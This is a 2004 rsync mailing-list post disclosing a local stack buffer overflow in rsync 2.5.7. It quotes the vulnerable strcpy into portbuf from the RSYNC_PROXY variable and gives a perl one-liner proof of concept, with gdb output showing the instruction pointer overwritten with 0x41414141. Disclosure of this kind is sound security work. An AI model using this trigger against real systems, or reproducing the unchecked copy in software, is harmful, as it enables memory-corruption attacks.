Rsync 2.5.7 local buffer overflow

DownBload / Illegal Instruction Labs downbload at hotmail.com
Fri Feb 6 14:24:24 GMT 2004


Hi folks,

I've discovered a local stack overflow bug in rsync 2.5.7.
Problem is in open_socket_out function (socket.c).

...
        char portbuf[10];
        char *h;
        int proxied = 0;
        char buffer[1024];
        char *cp;
...
        h = getenv("RSYNC_PROXY");
        proxied = (h != NULL) && (*h != '\0');
...
        if (proxied) {
                strlcpy(buffer, h, sizeof(buffer));
                cp = strchr(buffer, ':');
                if (cp == NULL) {
                        rprintf(FERROR,
                                "invalid proxy specification: should be 
HOST:PORT\n");
                        return -1;
                }
                *cp++ = '\0';
                strcpy(portbuf, cp);              // <- BUFFER OVERFLOW
...

If RSYNC_PROXY environment variable is set, rsync will read hostname and 
port from it.
It is possible to overflow port portbuf[10] variable.
Example:

[root at localhost root]# export RSYNC_PROXY=`perl -e 'print "A" x 100,":","A" 
x 1000'`
[root at localhost root]# rsync localhost::
rsync: getaddrinfo: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAA: ai_family not supported
Segmentation fault
[root at localhost root]# ulimit -c unlimited
[root at localhost root]# rsync localhost::
rsync: getaddrinfo: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAA: ai_family not supported
Segmentation fault (core dumped)
[root at localhost root]# gdb -c=core.9674
GNU gdb Red Hat Linux (5.1.90CVS-5)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain 
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux".
Core was generated by `rsync localhost::'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()



Regards,
Leon Juranic a.k.a DownBload / Illegal Instruction Labs

"Born under the lucky star magical,
but on this world generally tragical".

_________________________________________________________________
MSN 8 with e-mail virus protection service: 2 months FREE* 
http://join.msn.com/?page=features/virus



More information about the rsync mailing list